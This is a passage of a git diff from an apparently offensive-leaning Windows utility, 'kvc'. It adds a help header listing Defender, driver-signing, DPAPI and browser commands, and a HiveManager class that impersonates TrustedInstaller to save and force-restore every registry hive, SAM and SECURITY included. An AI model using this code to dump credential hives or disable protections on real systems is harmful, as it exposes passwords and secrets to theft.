std::wcout << L" kvc | more (for paginated output)\n";
|
||||
std::wcout << L" kvc help >> \"%USERPROFILE%\\Desktop\\help.txt\" (save to file)\n\n";
|
||||
|
||||
// Restore original color
|
||||
SetConsoleTextAttribute(hConsole, originalColor);
|
||||
|
||||
// Visual feedback: shake desktop on invalid command
|
||||
ScreenShake(3, 10); //ScreenShake.asm
|
||||
}
|
||||
@@ -1,9 +1,13 @@
|
||||
// HelpSystem.h
|
||||
// Comprehensive help system with modular command documentation
|
||||
// Author: Marek Wesolowski, 2025
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
#include <string_view>
|
||||
|
||||
// Comprehensive help system for kvc with modular command documentation
|
||||
// Static help system - no instantiation needed
|
||||
class HelpSystem
|
||||
{
|
||||
public:
|
||||
@@ -12,16 +16,25 @@ public:
|
||||
|
||||
// Main help interface
|
||||
static void PrintUsage(std::wstring_view programName) noexcept;
|
||||
|
||||
// Specific help sections
|
||||
static void PrintHeader() noexcept;
|
||||
static void PrintBasicCommands() noexcept;
|
||||
static void PrintProtectionCommands() noexcept;
|
||||
static void PrintSystemCommands() noexcept;
|
||||
static void PrintDefenderCommands() noexcept;
|
||||
static void PrintDPAPICommands() noexcept;
|
||||
static void PrintBrowserCommands() noexcept;
|
||||
static void PrintUnknownCommandMessage(std::wstring_view command) noexcept;
|
||||
|
||||
// Command category sections
|
||||
static void PrintServiceCommands() noexcept;
|
||||
static void PrintDSECommands() noexcept;
|
||||
static void PrintBasicCommands() noexcept;
|
||||
static void PrintProcessTerminationCommands() noexcept;
|
||||
static void PrintProtectionCommands() noexcept;
|
||||
static void PrintSessionManagement() noexcept;
|
||||
static void PrintSystemCommands() noexcept;
|
||||
static void PrintRegistryCommands() noexcept;
|
||||
static void PrintBrowserCommands() noexcept;
|
||||
static void PrintDefenderCommands() noexcept;
|
||||
static void PrintSecurityEngineCommands() noexcept;
|
||||
static void PrintDPAPICommands() noexcept;
|
||||
static void PrintWatermarkCommands() noexcept;
|
||||
|
||||
// Documentation sections
|
||||
static void PrintProtectionTypes() noexcept;
|
||||
static void PrintExclusionTypes() noexcept;
|
||||
static void PrintPatternMatching() noexcept;
|
||||
@@ -34,7 +47,7 @@ public:
|
||||
static void PrintFooter() noexcept;
|
||||
|
||||
private:
|
||||
// Helper methods for consistent formatting
|
||||
// Formatting helpers
|
||||
static void PrintSectionHeader(const wchar_t* title) noexcept;
|
||||
static void PrintCommandLine(const wchar_t* command, const wchar_t* description) noexcept;
|
||||
static void PrintNote(const wchar_t* note) noexcept;
|
||||
|
||||
645
kvc/HiveManager.cpp
Normal file
645
kvc/HiveManager.cpp
Normal file
@@ -0,0 +1,645 @@
|
||||
// HiveManager.cpp
|
||||
#include "HiveManager.h"
|
||||
#include "common.h"
|
||||
#include "TrustedInstallerIntegrator.h"
|
||||
#include <iostream>
|
||||
#include <iomanip>
|
||||
#include <sstream>
|
||||
#include <chrono>
|
||||
#include <shlobj.h>
|
||||
#include <sddl.h>
|
||||
#include <lmcons.h>
|
||||
|
||||
#pragma comment(lib, "advapi32.lib")
|
||||
|
||||
HiveManager::HiveManager()
|
||||
: m_tiToken(nullptr)
|
||||
, m_tiIntegrator(nullptr)
|
||||
{
|
||||
m_currentUserSid = GetCurrentUserSid();
|
||||
m_currentUsername = GetCurrentUsername();
|
||||
InitializeHiveLists();
|
||||
ResetStats();
|
||||
}
|
||||
|
||||
HiveManager::~HiveManager()
|
||||
{
|
||||
if (m_tiToken) {
|
||||
RevertToSelf();
|
||||
m_tiToken = nullptr;
|
||||
}
|
||||
|
||||
if (m_tiIntegrator) {
|
||||
delete m_tiIntegrator;
|
||||
m_tiIntegrator = nullptr;
|
||||
}
|
||||
}
|
||||
|
||||
std::wstring HiveManager::GetCurrentUserSid()
|
||||
{
|
||||
HANDLE hToken;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
|
||||
return L"";
|
||||
}
|
||||
|
||||
DWORD dwSize = 0;
|
||||
GetTokenInformation(hToken, TokenUser, nullptr, 0, &dwSize);
|
||||
|
||||
std::vector<BYTE> buffer(dwSize);
|
||||
TOKEN_USER* pTokenUser = reinterpret_cast<TOKEN_USER*>(buffer.data());
|
||||
|
||||
std::wstring sidString;
|
||||
if (GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize)) {
|
||||
LPWSTR stringSid;
|
||||
if (ConvertSidToStringSidW(pTokenUser->User.Sid, &stringSid)) {
|
||||
sidString = stringSid;
|
||||
LocalFree(stringSid);
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(hToken);
|
||||
return sidString;
|
||||
}
|
||||
|
||||
std::wstring HiveManager::GetCurrentUsername()
|
||||
{
|
||||
wchar_t username[UNLEN + 1];
|
||||
DWORD size = UNLEN + 1;
|
||||
|
||||
if (GetUserNameW(username, &size)) {
|
||||
return std::wstring(username);
|
||||
}
|
||||
|
||||
return L"";
|
||||
}
|
||||
|
||||
// HiveManager.cpp - poprawiona funkcja GetHivePhysicalPath
|
||||
|
||||
fs::path HiveManager::GetHivePhysicalPath(const std::wstring& hiveName)
|
||||
{
|
||||
wchar_t winDir[MAX_PATH];
|
||||
wchar_t sysDir[MAX_PATH];
|
||||
|
||||
GetWindowsDirectoryW(winDir, MAX_PATH);
|
||||
GetSystemDirectoryW(sysDir, MAX_PATH);
|
||||
|
||||
fs::path windowsPath(winDir);
|
||||
fs::path systemPath(sysDir);
|
||||
|
||||
if (hiveName == L"DEFAULT") {
|
||||
return systemPath / L"config" / L"DEFAULT";
|
||||
}
|
||||
else if (hiveName == L"SAM") {
|
||||
return systemPath / L"config" / L"SAM";
|
||||
}
|
||||
else if (hiveName == L"SECURITY") {
|
||||
return systemPath / L"config" / L"SECURITY";
|
||||
}
|
||||
else if (hiveName == L"SOFTWARE") {
|
||||
return systemPath / L"config" / L"SOFTWARE";
|
||||
}
|
||||
else if (hiveName == L"SYSTEM") {
|
||||
return systemPath / L"config" / L"SYSTEM";
|
||||
}
|
||||
else if (hiveName == L"NTUSER" && !m_currentUsername.empty()) {
|
||||
// Get user profile directory dynamically
|
||||
wchar_t profileDir[MAX_PATH];
|
||||
if (SUCCEEDED(SHGetFolderPathW(nullptr, CSIDL_PROFILE, nullptr, 0, profileDir))) {
|
||||
return fs::path(profileDir) / L"NTUSER.DAT";
|
||||
}
|
||||
}
|
||||
else if (hiveName == L"UsrClass" && !m_currentUsername.empty()) {
|
||||
// Get user AppData\Local dynamically
|
||||
wchar_t localAppData[MAX_PATH];
|
||||
if (SUCCEEDED(SHGetFolderPathW(nullptr, CSIDL_LOCAL_APPDATA, nullptr, 0, localAppData))) {
|
||||
return fs::path(localAppData) / L"Microsoft" / L"Windows" / L"UsrClass.dat";
|
||||
}
|
||||
}
|
||||
|
||||
return L"";
|
||||
}
|
||||
|
||||
void HiveManager::InitializeHiveLists()
|
||||
{
|
||||
// Build user-specific paths
|
||||
std::wstring userHivePath = L"HKU\\" + m_currentUserSid;
|
||||
std::wstring userClassPath = userHivePath + L"_Classes";
|
||||
|
||||
// Critical registry hives (all operations require TrustedInstaller elevation)
|
||||
m_registryHives = {
|
||||
{ L"BCD", L"HKLM\\BCD00000000", false }, // Bootloader, cannot restore
|
||||
{ L"DEFAULT", L"HKU\\.DEFAULT", true },
|
||||
{ L"NTUSER", userHivePath, true }, // User hive with real SID
|
||||
{ L"SAM", L"HKLM\\SAM", true },
|
||||
{ L"SECURITY", L"HKLM\\SECURITY", true },
|
||||
{ L"SOFTWARE", L"HKLM\\SOFTWARE", true },
|
||||
{ L"SYSTEM", L"HKLM\\SYSTEM", true },
|
||||
{ L"UsrClass", userClassPath, true } // User classes with real SID
|
||||
};
|
||||
}
|
||||
|
||||
void HiveManager::ResetStats()
|
||||
{
|
||||
m_lastStats = BackupStats{};
|
||||
}
|
||||
|
||||
fs::path HiveManager::GenerateDefaultBackupPath()
|
||||
{
|
||||
wchar_t downloadsPath[MAX_PATH];
|
||||
if (SUCCEEDED(SHGetFolderPathW(nullptr, CSIDL_PROFILE, nullptr, 0, downloadsPath))) {
|
||||
fs::path basePath = fs::path(downloadsPath) / L"Downloads";
|
||||
std::wstring folderName = L"Registry_Backup_" + TimeUtils::GetFormattedTimestamp("datetime_file");
|
||||
return basePath / folderName;
|
||||
}
|
||||
|
||||
// Fallback to temp if Downloads not found
|
||||
return fs::temp_directory_path() / (L"Registry_Backup_" + TimeUtils::GetFormattedTimestamp("datetime_file"));
|
||||
}
|
||||
|
||||
bool HiveManager::ValidateBackupDirectory(const fs::path& path)
|
||||
{
|
||||
std::error_code ec;
|
||||
|
||||
// Normalize path
|
||||
fs::path normalizedPath = fs::absolute(path, ec);
|
||||
if (ec) {
|
||||
ERROR(L"Failed to normalize path: %s", path.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Create directory if it doesn't exist
|
||||
if (!fs::exists(normalizedPath, ec)) {
|
||||
if (!fs::create_directories(normalizedPath, ec)) {
|
||||
ERROR(L"Failed to create backup directory: %s", normalizedPath.c_str());
|
||||
return false;
|
||||
}
|
||||
INFO(L"Created backup directory: %s", normalizedPath.c_str());
|
||||
}
|
||||
|
||||
// Verify it's a directory
|
||||
if (!fs::is_directory(normalizedPath, ec)) {
|
||||
ERROR(L"Path is not a directory: %s", normalizedPath.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool HiveManager::ValidateRestoreDirectory(const fs::path& path)
|
||||
{
|
||||
std::error_code ec;
|
||||
|
||||
fs::path normalizedPath = fs::absolute(path, ec);
|
||||
if (ec) {
|
||||
ERROR(L"Failed to normalize path: %s", path.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!fs::exists(normalizedPath, ec) || !fs::is_directory(normalizedPath, ec)) {
|
||||
ERROR(L"Restore directory does not exist: %s", normalizedPath.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool HiveManager::ElevateToTrustedInstaller()
|
||||
{
|
||||
if (m_tiToken) {
|
||||
return true; // Already elevated
|
||||
}
|
||||
|
||||
if (!m_tiIntegrator) {
|
||||
m_tiIntegrator = new TrustedInstallerIntegrator();
|
||||
}
|
||||
|
||||
INFO(L"Acquiring TrustedInstaller token...");
|
||||
m_tiToken = m_tiIntegrator->GetCachedTrustedInstallerToken();
|
||||
|
||||
if (!m_tiToken) {
|
||||
ERROR(L"Failed to acquire TrustedInstaller token - ensure running as Administrator");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Impersonate using TrustedInstaller token
|
||||
if (!ImpersonateLoggedOnUser(m_tiToken)) {
|
||||
ERROR(L"Failed to impersonate TrustedInstaller: %d", GetLastError());
|
||||
m_tiToken = nullptr;
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"Elevated to TrustedInstaller");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool HiveManager::PromptYesNo(const wchar_t* question)
|
||||
{
|
||||
std::wcout << L"\n" << question << L" ";
|
||||
std::wstring response;
|
||||
std::getline(std::wcin, response);
|
||||
|
||||
if (response.empty()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
wchar_t first = towlower(response[0]);
|
||||
return (first == L'y' || first == L't'); // Y/y or T/t (Polish "tak")
|
||||
}
|
||||
|
||||
bool HiveManager::SaveRegistryHive(const std::wstring& registryPath, const fs::path& destFile)
|
||||
{
|
||||
// Parse registry path to get root key
|
||||
HKEY hRootKey = nullptr;
|
||||
std::wstring subKey;
|
||||
|
||||
if (registryPath.starts_with(L"HKLM\\") || registryPath.starts_with(L"HKEY_LOCAL_MACHINE\\")) {
|
||||
hRootKey = HKEY_LOCAL_MACHINE;
|
||||
size_t pos = registryPath.find(L'\\');
|
||||
subKey = registryPath.substr(pos + 1);
|
||||
}
|
||||
else if (registryPath.starts_with(L"HKU\\") || registryPath.starts_with(L"HKEY_USERS\\")) {
|
||||
hRootKey = HKEY_USERS;
|
||||
size_t pos = registryPath.find(L'\\');
|
||||
subKey = registryPath.substr(pos + 1);
|
||||
}
|
||||
else if (registryPath.starts_with(L"HKCU") || registryPath.starts_with(L"HKEY_CURRENT_USER")) {
|
||||
hRootKey = HKEY_CURRENT_USER;
|
||||
size_t pos = registryPath.find(L'\\');
|
||||
if (pos != std::wstring::npos) {
|
||||
subKey = registryPath.substr(pos + 1);
|
||||
}
|
||||
}
|
||||
else {
|
||||
ERROR(L"Invalid registry path format: %s", registryPath.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Open registry key with backup privilege
|
||||
HKEY hKey;
|
||||
LONG result = RegOpenKeyExW(hRootKey, subKey.empty() ? nullptr : subKey.c_str(),
|
||||
0, KEY_READ, &hKey);
|
||||
|
||||
if (result != ERROR_SUCCESS) {
|
||||
ERROR(L"Failed to open registry key %s: %d", registryPath.c_str(), result);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Save the hive using latest format (compresses and defragments)
|
||||
result = RegSaveKeyExW(hKey, destFile.c_str(), nullptr, REG_LATEST_FORMAT);
|
||||
|
||||
RegCloseKey(hKey);
|
||||
|
||||
if (result != ERROR_SUCCESS) {
|
||||
ERROR(L"RegSaveKeyEx failed for %s: %d", registryPath.c_str(), result);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool HiveManager::BackupRegistryHives(const fs::path& targetDir)
|
||||
{
|
||||
INFO(L"Backing up registry hives...");
|
||||
|
||||
for (const auto& hive : m_registryHives) {
|
||||
m_lastStats.totalHives++;
|
||||
|
||||
fs::path destFile = targetDir / hive.name;
|
||||
|
||||
INFO(L" Saving %s -> %s", hive.name.c_str(), destFile.filename().c_str());
|
||||
|
||||
if (SaveRegistryHive(hive.registryPath, destFile)) {
|
||||
m_lastStats.successfulHives++;
|
||||
|
||||
// Get file size
|
||||
std::error_code ec;
|
||||
auto size = fs::file_size(destFile, ec);
|
||||
if (!ec) {
|
||||
m_lastStats.totalBytes += size;
|
||||
}
|
||||
|
||||
SUCCESS(L" Saved %s (%llu bytes)", hive.name.c_str(), size);
|
||||
}
|
||||
else {
|
||||
m_lastStats.failedHives++;
|
||||
ERROR(L" Failed to save %s", hive.name.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
return m_lastStats.successfulHives > 0;
|
||||
}
|
||||
|
||||
void HiveManager::PrintStats(const std::wstring& operation)
|
||||
{
|
||||
std::wcout << L"\n";
|
||||
INFO(L"=== %s Statistics ===", operation.c_str());
|
||||
INFO(L"Registry Hives: %zu/%zu successful", m_lastStats.successfulHives, m_lastStats.totalHives);
|
||||
INFO(L"Total Size: %.2f MB", static_cast<double>(m_lastStats.totalBytes) / (1024.0 * 1024.0));
|
||||
|
||||
if (m_lastStats.failedHives > 0) {
|
||||
ERROR(L"Failed: %zu hives", m_lastStats.failedHives);
|
||||
}
|
||||
}
|
||||
|
||||
bool HiveManager::Backup(const std::wstring& targetPath)
|
||||
{
|
||||
ResetStats();
|
||||
|
||||
// Determine target directory BEFORE elevation (to get real user profile)
|
||||
fs::path backupDir;
|
||||
if (targetPath.empty()) {
|
||||
backupDir = GenerateDefaultBackupPath();
|
||||
INFO(L"Using default backup path: %s", backupDir.c_str());
|
||||
}
|
||||
else {
|
||||
backupDir = targetPath;
|
||||
}
|
||||
|
||||
// Validate and create directory (before elevation)
|
||||
if (!ValidateBackupDirectory(backupDir)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// NOW elevate to TrustedInstaller for unrestricted registry access
|
||||
if (!ElevateToTrustedInstaller()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"Starting registry backup to: %s", backupDir.c_str());
|
||||
|
||||
// Backup registry hives
|
||||
bool success = BackupRegistryHives(backupDir);
|
||||
|
||||
// Print summary
|
||||
PrintStats(L"Backup");
|
||||
|
||||
if (success) {
|
||||
SUCCESS(L"Backup completed: %s", backupDir.c_str());
|
||||
return true;
|
||||
}
|
||||
|
||||
ERROR(L"Backup failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
bool HiveManager::RestoreRegistryHives(const fs::path& sourceDir)
|
||||
{
|
||||
INFO(L"Validating backup files...");
|
||||
|
||||
for (const auto& hive : m_registryHives) {
|
||||
fs::path sourceFile = sourceDir / hive.name;
|
||||
|
||||
std::error_code ec;
|
||||
if (fs::exists(sourceFile, ec)) {
|
||||
INFO(L" Found: %s", hive.name.c_str());
|
||||
m_lastStats.successfulHives++;
|
||||
|
||||
auto size = fs::file_size(sourceFile, ec);
|
||||
if (!ec) {
|
||||
m_lastStats.totalBytes += size;
|
||||
}
|
||||
}
|
||||
else {
|
||||
ERROR(L" Missing: %s", hive.name.c_str());
|
||||
m_lastStats.failedHives++;
|
||||
}
|
||||
}
|
||||
|
||||
return m_lastStats.failedHives == 0;
|
||||
}
|
||||
|
||||
bool HiveManager::ApplyRestoreAndReboot(const fs::path& sourceDir)
|
||||
{
|
||||
// Enable restore privileges BEFORE attempting any restore operations
|
||||
HANDLE token;
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) {
|
||||
TOKEN_PRIVILEGES tp;
|
||||
LUID luid;
|
||||
|
||||
// SE_RESTORE_NAME - critical for RegRestoreKeyW
|
||||
if (LookupPrivilegeValueW(nullptr, SE_RESTORE_NAME, &luid)) {
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
AdjustTokenPrivileges(token, FALSE, &tp, 0, nullptr, nullptr);
|
||||
}
|
||||
|
||||
// SE_BACKUP_NAME - for good measure
|
||||
if (LookupPrivilegeValueW(nullptr, SE_BACKUP_NAME, &luid)) {
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
AdjustTokenPrivileges(token, FALSE, &tp, 0, nullptr, nullptr);
|
||||
}
|
||||
|
||||
CloseHandle(token);
|
||||
}
|
||||
|
||||
INFO(L"Applying registry restore using RegRestoreKeyW...");
|
||||
|
||||
size_t restoredLive = 0;
|
||||
size_t restoredPending = 0;
|
||||
|
||||
for (const auto& hive : m_registryHives) {
|
||||
// Skip non-restorable hives
|
||||
if (!hive.canRestore) {
|
||||
INFO(L" Skipping %s (cannot restore)", hive.name.c_str());
|
||||
continue;
|
||||
}
|
||||
|
||||
fs::path sourceFile = sourceDir / hive.name;
|
||||
|
||||
std::error_code ec;
|
||||
if (!fs::exists(sourceFile, ec)) {
|
||||
ERROR(L" Missing backup file: %s", hive.name.c_str());
|
||||
continue;
|
||||
}
|
||||
|
||||
// Parse registry path to get root key and subkey
|
||||
HKEY hRootKey = nullptr;
|
||||
std::wstring subKey;
|
||||
|
||||
if (hive.registryPath.starts_with(L"HKLM\\")) {
|
||||
hRootKey = HKEY_LOCAL_MACHINE;
|
||||
size_t pos = hive.registryPath.find(L'\\');
|
||||
subKey = hive.registryPath.substr(pos + 1);
|
||||
}
|
||||
else if (hive.registryPath.starts_with(L"HKU\\")) {
|
||||
hRootKey = HKEY_USERS;
|
||||
size_t pos = hive.registryPath.find(L'\\');
|
||||
subKey = hive.registryPath.substr(pos + 1);
|
||||
}
|
||||
else {
|
||||
ERROR(L" Invalid path format for %s", hive.name.c_str());
|
||||
continue;
|
||||
}
|
||||
|
||||
// Open the target key
|
||||
HKEY hKey;
|
||||
LONG result = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_WRITE, &hKey);
|
||||
|
||||
if (result != ERROR_SUCCESS) {
|
||||
ERROR(L" Failed to open key %s: %d", hive.name.c_str(), result);
|
||||
continue;
|
||||
}
|
||||
|
||||
INFO(L" Restoring %s...", hive.name.c_str());
|
||||
|
||||
// Try live restore using REG_FORCE_RESTORE
|
||||
result = RegRestoreKeyW(hKey, sourceFile.c_str(), REG_FORCE_RESTORE);
|
||||
|
||||
RegCloseKey(hKey);
|
||||
|
||||
if (result == ERROR_SUCCESS) {
|
||||
SUCCESS(L" Restored %s (live)", hive.name.c_str());
|
||||
restoredLive++;
|
||||
}
|
||||
else if (result == ERROR_ACCESS_DENIED) {
|
||||
// Live restore failed - schedule for next boot
|
||||
INFO(L" Live restore failed (error 5) - scheduling for next boot...");
|
||||
|
||||
fs::path physicalPath = GetHivePhysicalPath(hive.name);
|
||||
if (physicalPath.empty()) {
|
||||
ERROR(L" Cannot determine physical path for %s", hive.name.c_str());
|
||||
continue;
|
||||
}
|
||||
|
||||
// Schedule file replacement on next boot
|
||||
if (MoveFileExW(sourceFile.c_str(), physicalPath.c_str(),
|
||||
MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_REPLACE_EXISTING)) {
|
||||
SUCCESS(L" Scheduled %s for next boot", hive.name.c_str());
|
||||
restoredPending++;
|
||||
}
|
||||
else {
|
||||
ERROR(L" Failed to schedule %s: %d", hive.name.c_str(), GetLastError());
|
||||
}
|
||||
}
|
||||
else {
|
||||
ERROR(L" Failed to restore %s: %d", hive.name.c_str(), result);
|
||||
}
|
||||
}
|
||||
|
||||
if (restoredLive == 0 && restoredPending == 0) {
|
||||
ERROR(L"No hives were restored successfully");
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"Successfully restored %zu hives (live: %zu, pending: %zu)",
|
||||
restoredLive + restoredPending, restoredLive, restoredPending);
|
||||
|
||||
if (restoredPending > 0) {
|
||||
INFO(L"Note: %zu hives scheduled for next boot (will replace on-disk files)", restoredPending);
|
||||
}
|
||||
|
||||
INFO(L"System restart required for changes to take effect");
|
||||
INFO(L"Initiating system reboot in 10 seconds...");
|
||||
|
||||
// Enable shutdown privilege
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) {
|
||||
TOKEN_PRIVILEGES tp;
|
||||
LUID luid;
|
||||
|
||||
if (LookupPrivilegeValueW(nullptr, SE_SHUTDOWN_NAME, &luid)) {
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
AdjustTokenPrivileges(token, FALSE, &tp, 0, nullptr, nullptr);
|
||||
}
|
||||
CloseHandle(token);
|
||||
}
|
||||
|
||||
// Initiate system shutdown
|
||||
if (!InitiateSystemShutdownExW(
|
||||
nullptr,
|
||||
const_cast<LPWSTR>(L"Registry restore complete - system restart required"),
|
||||
10,
|
||||
TRUE, // Force apps closed
|
||||
TRUE, // Reboot after shutdown
|
||||
SHTDN_REASON_MAJOR_OPERATINGSYSTEM | SHTDN_REASON_MINOR_RECONFIG | SHTDN_REASON_FLAG_PLANNED
|
||||
)) {
|
||||
ERROR(L"Failed to initiate shutdown: %d", GetLastError());
|
||||
INFO(L"Please restart the system manually");
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"System reboot initiated");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool HiveManager::Restore(const std::wstring& sourcePath)
|
||||
{
|
||||
ResetStats();
|
||||
|
||||
fs::path restoreDir = sourcePath;
|
||||
|
||||
// Validate source directory BEFORE elevation
|
||||
if (!ValidateRestoreDirectory(restoreDir)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// NOW elevate to TrustedInstaller
|
||||
if (!ElevateToTrustedInstaller()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"Starting registry restore from: %s", restoreDir.c_str());
|
||||
|
||||
// Validate backup files
|
||||
bool validated = RestoreRegistryHives(restoreDir);
|
||||
|
||||
// Print summary
|
||||
PrintStats(L"Restore Validation");
|
||||
|
||||
if (!validated) {
|
||||
ERROR(L"Restore validation failed - missing backup files");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"All backup files validated successfully");
|
||||
INFO(L"WARNING: Registry restore will modify system hives and requires restart");
|
||||
|
||||
// Prompt user
|
||||
if (PromptYesNo(L"Apply restore and reboot now? (Y/N):")) {
|
||||
return ApplyRestoreAndReboot(restoreDir);
|
||||
}
|
||||
|
||||
INFO(L"Restore cancelled by user");
|
||||
return false;
|
||||
}
|
||||
|
||||
bool HiveManager::Defrag(const std::wstring& tempPath)
|
||||
{
|
||||
INFO(L"Starting registry defragmentation (backup with compression)");
|
||||
|
||||
// Generate temp backup path BEFORE any elevation (to get real user temp)
|
||||
fs::path defragPath;
|
||||
if (tempPath.empty()) {
|
||||
defragPath = fs::temp_directory_path() / (L"Registry_Defrag_" + TimeUtils::GetFormattedTimestamp("datetime_file"));
|
||||
}
|
||||
else {
|
||||
defragPath = tempPath;
|
||||
}
|
||||
|
||||
INFO(L"Using temporary path: %s", defragPath.c_str());
|
||||
|
||||
// Backup automatically elevates to TrustedInstaller and uses REG_LATEST_FORMAT
|
||||
// which provides compression and defragmentation
|
||||
if (!Backup(defragPath.wstring())) {
|
||||
ERROR(L"Defrag failed at backup stage");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"Defragmented backup created successfully");
|
||||
INFO(L"Backup location: %s", defragPath.c_str());
|
||||
INFO(L"To complete defragmentation, defragmented hives must be restored");
|
||||
INFO(L"WARNING: This will modify system hives and requires restart");
|
||||
|
||||
// Prompt user
|
||||
if (PromptYesNo(L"Apply defragmented hives and reboot now? (Y/N):")) {
|
||||
return ApplyRestoreAndReboot(defragPath);
|
||||
}
|
||||
|
||||
SUCCESS(L"Defragmentation backup completed");
|
||||
INFO(L"You can manually restore from: %s", defragPath.c_str());
|
||||
return true;
|
||||
}
|
||||
111
kvc/HiveManager.h
Normal file
111
kvc/HiveManager.h
Normal file
@@ -0,0 +1,111 @@
|
||||
// HiveManager.h
|
||||
// Registry hive backup, restore and defragmentation manager (TrustedInstaller, destructive ops)
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <filesystem>
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
// Forward declaration of TrustedInstallerIntegrator class
|
||||
class TrustedInstallerIntegrator;
|
||||
// Manage registry hives: backup, restore and defragment (supports system and user hives; TI required)
|
||||
class HiveManager
|
||||
{
|
||||
public:
|
||||
// Acquire TrustedInstaller, gather user info and initialize internal state
|
||||
HiveManager();
|
||||
|
||||
// Release TrustedInstaller token and clean up on destruction
|
||||
~HiveManager();
|
||||
|
||||
// === Main Operations ===
|
||||
|
||||
// Backup all supported registry hives to target directory (TrustedInstaller required)
|
||||
bool Backup(const std::wstring& targetPath = L"");
|
||||
|
||||
// Restore registry hives from backup directory and schedule reboot (validates files, destructive)
|
||||
bool Restore(const std::wstring& sourcePath);
|
||||
|
||||
// Defragment registry hives via export/import cycle to reduce fragmentation
|
||||
bool Defrag(const std::wstring& tempPath = L"");
|
||||
|
||||
// Operation statistics for backup/restore runs
|
||||
struct BackupStats {
|
||||
size_t totalHives = 0; // Hives processed
|
||||
size_t successfulHives = 0; // Successful operations
|
||||
size_t failedHives = 0; // Failed operations
|
||||
uint64_t totalBytes = 0; // Total bytes processed
|
||||
};
|
||||
|
||||
// Return stats from last operation (reset at start of each op)
|
||||
const BackupStats& GetLastStats() const { return m_lastStats; }
|
||||
|
||||
private:
|
||||
// Registry hive metadata for processing
|
||||
struct RegistryHive {
|
||||
std::wstring name; // Hive name (e.g., "SYSTEM")
|
||||
std::wstring registryPath; // Registry path (e.g., "HKLM\\SYSTEM")
|
||||
bool canRestore; // Restorable with RegRestoreKeyW
|
||||
};
|
||||
|
||||
// === Internal Operations ===
|
||||
|
||||
// Save all configured registry hives to target directory (calls SaveRegistryHive)
|
||||
bool BackupRegistryHives(const fs::path& targetDir);
|
||||
|
||||
// Validate and prepare restore from backup directory (calls ApplyRestoreAndReboot)
|
||||
bool RestoreRegistryHives(const fs::path& sourceDir);
|
||||
|
||||
// Apply restore and initiate system reboot (uses InitiateSystemShutdownExW)
|
||||
bool ApplyRestoreAndReboot(const fs::path& sourceDir);
|
||||
|
||||
// Save a single registry hive to disk using RegSaveKeyW (requires SE_BACKUP_NAME)
|
||||
bool SaveRegistryHive(const std::wstring& registryPath, const fs::path& destFile);
|
||||
|
||||
// Elevate process to TrustedInstaller and enable required privileges
|
||||
bool ElevateToTrustedInstaller();
|
||||
|
||||
// Ask user Yes/No confirmation for destructive operations
|
||||
bool PromptYesNo(const wchar_t* question);
|
||||
|
||||
// Generate default backup path using username and timestamp
|
||||
fs::path GenerateDefaultBackupPath();
|
||||
|
||||
// Retrieve current user SID string (cached)
|
||||
std::wstring GetCurrentUserSid();
|
||||
|
||||
// Retrieve current username (cached)
|
||||
std::wstring GetCurrentUsername();
|
||||
|
||||
// Resolve hive name to physical file path on disk (handles user/system special cases)
|
||||
fs::path GetHivePhysicalPath(const std::wstring& hiveName);
|
||||
|
||||
// Validate backup directory exists, is writable and has sufficient space
|
||||
bool ValidateBackupDirectory(const fs::path& path);
|
||||
|
||||
// Validate restore directory contains expected .hiv files and readable sizes
|
||||
bool ValidateRestoreDirectory(const fs::path& path);
|
||||
|
||||
// Populate m_registryHives with supported hives and metadata (called in ctor)
|
||||
void InitializeHiveLists();
|
||||
|
||||
// Reset statistics counters to zero at operation start
|
||||
void ResetStats();
|
||||
|
||||
// Print operation statistics to console in formatted form
|
||||
void PrintStats(const std::wstring& operation);
|
||||
|
||||
// === Data Members ===
|
||||
|
||||
std::vector<RegistryHive> m_registryHives; // Hives to process
|
||||
BackupStats m_lastStats; // Last operation stats
|
||||
|
||||
HANDLE m_tiToken; // TrustedInstaller token handle
|
||||
TrustedInstallerIntegrator* m_tiIntegrator; // TrustedInstaller integration helper
|
||||
